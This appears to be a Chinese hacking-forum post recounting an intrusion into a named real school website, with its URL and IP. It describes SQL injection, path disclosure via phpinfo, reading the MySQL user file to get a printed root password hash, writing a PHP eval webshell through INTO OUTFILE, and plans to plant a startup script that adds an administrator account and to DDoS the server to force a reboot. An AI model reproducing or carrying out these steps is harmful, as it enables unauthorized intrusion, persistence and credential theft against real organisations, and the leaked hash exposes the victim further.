友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
4 I4 X2 t3 ~  K- a发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
! z0 x/ z/ O, M; [( z  z7 Y

) a% T6 Z; N" |
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：
+ a5 y  [+ T8 d) A" j! m! t

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
& N4 Y" c+ A/ h4 P  Z5 z
' [; x( r9 \5 m5 x- a7 ~8 Y1 q试着爆绝对路径：
1 n0 B& J5 T  {( B! k& E1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
1 B5 L6 E& `6 e4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
/ M9 n( F0 k. N! N- {& @% A5./phpmyadmin/libraries/select_lang.lib.php  
" _1 e( z) U) ?6./phpmyadmin/libraries/lect_lang.lib.php  
% U* b2 b+ L; O. h6 u7./phpmyadmin/libraries/mcrypt.lib.php   
- s& q/ }. Y5 S9 @# N8 Y; r8./phpmyadmin/libraries/export/xls.php  

均不行...........................

御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
8 i% Y; x% O! z( e1 B1 g
" T2 i: b$ t$ c" q  |% }( K4 S权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

& G- r& A7 I. z! w( y6 m想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
5 J% U% L$ G7 j4 n" V# V1 |
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

# ?" B( ^8 J" p! i自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
# `, I4 j, I) @7 K8 A
- F* I+ A1 i2 x/ x; v成功读到root密码：
) R& s: ~. g" `5 @% c4 |* ^
17---- r(0072)
18---- o(006f)
19---- o(006f)
20---- t(0074)
21---- *(002a)
22---- 8(0038)
9 o* ?9 |% ?) x. k0 j# ^23---- 2(0032)
7 i9 M" p1 |0 ?' |4 b/ K+ r  |2 t24---- E(0045)
25---- 1(0031)
26---- C(0043)
$ n! R; ^4 w, ?/ F9 z' N8 }, P* R3 p27---- 5(0035)
2 B. z5 z5 T4 h28---- 8(0038)
29---- 2(0032)
+ E& L; T$ ?: C: g% }0 s30---- 8(0038)
6 {/ }- H) r3 Q6 }  L31---- A(0041)
6 E+ F! o% ?5 H" L* R2 H32---- 9(0039)
/ j  k* D: D. j, M33---- B(0042)
34---- 5(0035)
35---- 4(0034)
36---- 8(0038)
37---- 6(0036)
0 F6 \5 p$ O$ w( p1 O38---- 4(0034)
) O2 b- K8 [, V& ~1 G8 t39---- 9(0039)
40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
4 L0 ?$ O$ _# p43---- 3(0033)
. U, ?3 S: r3 W3 g! z5 C# m2 o. A3 |44---- 5(0035)
" q( ]4 F7 ^0 h9 R) W0 a  w6 X45---- 9(0039)
46---- 8(0038)
47---- F(0046)
, u, Z- T7 W  t  a% s) X48---- F(0046)
' M4 O  d/ N7 K$ ?0 _" @; E) ^49---- 4(0034)
50---- F(0046)
51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
  N/ Y$ B, G: U0 s% r- D54---- A(0041)
55---- 4(0034)
56---- A(0041)
57---- B(0042)
: b# v# D3 x* }5 ?58---- *(0044)
1 N$ {* j  R% g; T( ]% ~59---- *(0035)
60---- *(0041)
61---- *0032)

解密后成功登陆phpmyamin
/ h' E5 h# h. u1 k6 c3 W: B                          

4 o6 y5 k+ j. t2 N# q$ h                             
# i$ J1 N8 p* p( ~) m6 L! i
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
& Z7 o0 X$ z- I
  Z: e( ^8 n7 P/ t成功执行，拿下shell，菜刀连接：
8 a  P0 c! X! E3 }
服务器不支持asp,aspx,php提权无果...................

* z3 \6 W& c2 I$ m) `' l但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
, I% u, ~+ j) l+ D8 o: n注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
admin
! G8 \8 K8 G# L- u+ ]Administrator
/ p/ l' x+ x" }! J0 ?slipper$
# l9 d: S! Z* fsqluser
$ J9 t1 B" u3 _5 g0 @* s命令成功完成。
; f" y4 v& R9 R" ~+ R1 ~$ Y6 B5 l
! Q3 a# n6 `. V服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
+ C2 t# D" H& p  S7 B
& G& i# l, v* B$ q* Rddos服务器重启，不然就只能坐等服务器重启了...............................

      

! [8 P' @& C" q9 l' n5 A. d# [8 N0 d

angel